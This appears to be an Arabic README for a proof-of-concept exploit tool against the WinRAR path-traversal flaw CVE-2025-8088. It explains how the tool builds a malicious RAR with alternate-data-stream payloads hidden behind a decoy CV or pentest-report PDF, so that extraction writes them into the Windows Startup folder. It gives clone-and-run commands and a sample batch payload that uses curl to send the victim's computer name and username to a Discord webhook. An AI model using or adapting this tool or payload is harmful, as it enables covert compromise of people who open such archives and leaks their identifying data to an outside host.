CVE-2025-8088 WinRAR Exploit 🔓

استغلال لإثبات المفهوم لثغرة WinRAR (CVE-2025-8088) التي تؤثر على الإصدارات 7.12 والإصدارات الأقدم. تنشئ هذه الأداة أرشيف RAR خبيثًا يضمّن الحمولات في تدفقات البيانات البديلة (ADS) مع اجتياز المسار، مما قد يؤدي إلى تنفيذ تعليمات برمجية عشوائية.

• المشكلة في الكثير من الأدوات الأخرى أنها لا تدمج تدفقات ADS متعددة، مما يتطلب إما الحظ في وجود مسار اجتياز صحيح أو معرفة اسم المستخدم/مجلد الاستخراج بالضبط.

🚀 كيف يعمل

1. إنشاء مستند خادع 📄 - يولّد ملف PDF بمظهر احترافي (سيرة ذاتية أو تقرير اختبار اختراق)
2. تضمين تدفقات ADS متعددة 🔄 - يرفق تدفقات الحمولة بأعماق اجتياز مسار مختلفة
3. التلاعب برؤوس RAR ⚙️ - يعدّل بنية الأرشيف لاستغلال ثغرة اجتياز المسار
4. إسقاط الحمولة في بدء التشغيل 📂 - يحاول كتابة الحمولة إلى مجلد بدء تشغيل Windows عند الاستخراج

🛠️ الاستخدام

# استنساخ المستودع
git clone https://github.com/pentestfunctions/best-CVE-2025-8088.git
cd best-CVE-2025-8088

# تثبيت التبعيات
pip install reportlab

# تشغيل الاستغلال
python CVE-2025-8088.py

✏️ تخصيص الحمولة

عدّل الحمولة لاستدعاء خطاف Discord:

# استبدل المتغير PAYLOAD في السكربت:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""

استبدل YOUR_DISCORD_WEBHOOK_URL برابط الخطاف الفعلي الخاص بك.

🔄 تسلسل التنفيذ

1. الضحية يستخرج ملف RAR باستخدام WinRAR الثغرة (≤7.12)
2. تتم كتابة الحمولة في مجلد بدء التشغيل:

   AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
   

3. عند إعادة التشغيل التالية ➡️ يتم تنفيذ الحمولة تلقائيًا

📋 المتطلبات

• نظام Windows 🪟
• Python 3.x 🐍
• تثبيت WinRAR
• مكتبة ReportLab (pip install reportlab)